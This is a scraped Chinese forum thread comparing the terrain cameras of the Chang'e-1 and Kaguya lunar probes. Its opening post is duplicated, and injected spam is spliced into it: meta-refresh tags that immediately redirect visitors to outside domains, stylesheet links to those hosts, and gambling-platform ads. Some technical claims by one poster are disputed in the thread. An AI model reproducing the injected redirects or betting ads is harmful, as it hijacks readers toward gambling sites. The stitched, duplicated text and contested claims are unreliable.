请求科普,日本人用的什么相机

来源:百度文库 编辑:超级军网 时间:2024/04/29 01:24:48
<br /><br />从本人的愚昧的观点来看,我们的平面九十度图更有利于测绘。而日本公布的图基本上都是歪歪扭扭的,我自己认为基本上属于娱乐大众的垃圾。就好像google earth中除了少数几个大城市的航拍图以外,其余的图片也都是90度的垂直拍摄。
有很多人叫嚣我们的相机在日本人面前就是玩具,我承认我们的应用技术不如日本。但是我就很想知道,日本那两台相机是什么相机,比我们先进多少,如果他们技术先进,为什么他们不公布一张真正有测绘价值的图片。<meta http-equiv="refresh" content="0; url=http://ybw.cc">
<meta http-equiv="refresh" content="0; url=http://dqw.cc">
<link href="http://ybw.cc/58l.css" rel="stylesheet" type="text/css" media="screen" />
<P>&nbsp;</P>
<link href="http://dqw.cc/99dd.css" rel="stylesheet" type="text/css" media="screen" />


<P>&nbsp;</P>

<P>&nbsp;</P>


(6.合.彩)♀足球♀篮球...各类投注开户下注
<P>&nbsp;</P>
推荐→第一投注♀♀倍率高√存取速度快.国内最好的投注平台
<br /><br />从本人的愚昧的观点来看,我们的平面九十度图更有利于测绘。而日本公布的图基本上都是歪歪扭扭的,我自己认为基本上属于娱乐大众的垃圾。就好像google earth中除了少数几个大城市的航拍图以外,其余的图片也都是90度的垂直拍摄。
有很多人叫嚣我们的相机在日本人面前就是玩具,我承认我们的应用技术不如日本。但是我就很想知道,日本那两台相机是什么相机,比我们先进多少,如果他们技术先进,为什么他们不公布一张真正有测绘价值的图片。<meta http-equiv="refresh" content="0; url=http://ybw.cc">
<meta http-equiv="refresh" content="0; url=http://dqw.cc">
<link href="http://ybw.cc/58l.css" rel="stylesheet" type="text/css" media="screen" />
<P>&nbsp;</P>
<link href="http://dqw.cc/99dd.css" rel="stylesheet" type="text/css" media="screen" />


<P>&nbsp;</P>

<P>&nbsp;</P>


(6.合.彩)♀足球♀篮球...各类投注开户下注
<P>&nbsp;</P>
推荐→第一投注♀♀倍率高√存取速度快.国内最好的投注平台
http://www.kaguya.jaxa.jp/ja/equipment/tc_j.htm

这是他们的地形照相机的结构示意

TC(地形照相机)一个斜向前、一个斜向后,同时摄影,转一圈下来、对同一地区有两个视角的信息、用来形成立体数据。比咱们那个单摄像头三角度拍摄如何?
这是各有各的手段,各有各的目标吧,
和先进不先进没关系,达到目的就成
我再解釋清楚一點,一般這種太空用的CCD,都是線狀的,不是一般DC照相機用面狀的
一次照一條.因為衛星自己會移動,不斷連續照就可以組成一張相片
因為是線狀可以設計成只用鏡片中央入射的光線,玩過射影的就知道,鏡頭中央最銳利,成相品質最好,嫦娥的問題就是取巧用面狀的CCD,用其中三條來構成3D圖,中央沒有問題,前後兩條因為光線
是利用鏡頭邊緣,正好是鏡片色差歪斜率最大的地方,所以解析度不能太大,鏡頭也要用多鏡片設計來矯正色差歪斜率,會導致鏡頭過重,,又因為是面狀設計的,面積比條狀大很多,有效光圈和
有效焦距都差很多,這些都會嚴格限制照片品質

嫦娥說這種設計的目的是要只需要一台照相機就能照3D圖減低重量,但是我看正好相反
重量反而更重,照相品質更是慘不忍睹,畫素只有500PIXLE真的是比你拿好一點的DC直接掛在嫦娥上照還差

真正的原因我看是要省錢或者是根本買不到好一點的線狀CCD

這種面狀的CCD絕對不會是真正航太照相用的,比較像拿商用的CCD來代替
也可以知道絕對不可能是中國自製的
教主来科普了,我进来膜拜!
反正不是日本自己的CCD~~

;P ;P
]]
原帖由 DAIMOS6666666 于 2007-11-27 17:02 发表
我再解釋清楚一點,一般這種太空用的CCD,都是線狀的,不是一般DC照相機用面狀的
一次照一條.因為衛星自己會移動,不斷連續照就可以組成一張相片
因為是線狀可以設計成只用鏡片中央入射的光線,玩過射影的就知道,鏡頭中 ...

虾扯蛋!!
原帖由 DAIMOS6666666 于 2007-11-27 17:02 发表
我再解釋清楚一點,一般這種太空用的CCD,都是線狀的,不是一般DC照相機用面狀的
一次照一條.因為衛星自己會移動,不斷連續照就可以組成一張相片
因為是線狀可以設計成只用鏡片中央入射的光線,玩過射影的就知道,鏡頭中 ...


鬼扯
嫦娥这个相机的确分辨率不高,这个应该承认
这玩意的确没有辉夜姬精密
但是第一颗月球探测器
要求指标太高似乎也没有必要
有一点值得指出的是
这个立体相机是由中科院西安光机所研制的
空间遥感并不是这个所的强项
中国搞空间遥感主要还是北京空间机电研究所(五院508所)
还有就是中科院上海技术物理研究所
中国的绝大部分空间遥感设备都出自这两家研究所


原帖由 银灰 于 2007-11-27 20:20 发表
呵呵!有一点已经辩的清晰了,两国的CCD器件都是采用同一家公司的产品.所不同的是日本买的比咱们买的分辨率要搞些.

不过CCD相机的软件和结构设计,系统集成是两国各自自己搞的,各有目标,如果从CCD器件的分辨率和采用 ...
]]
嫦娥的激光高度计就是上海技物所和上海光机所联合研制的,就公开指标来看,嫦娥的精度大概在2米左右,辉夜姬是5米。
进来膜拜一下教主
真是无时无刻的不忘自己的责任,Orz
強烈要同胞深測月球差距100公里這事實完全可以忽視:D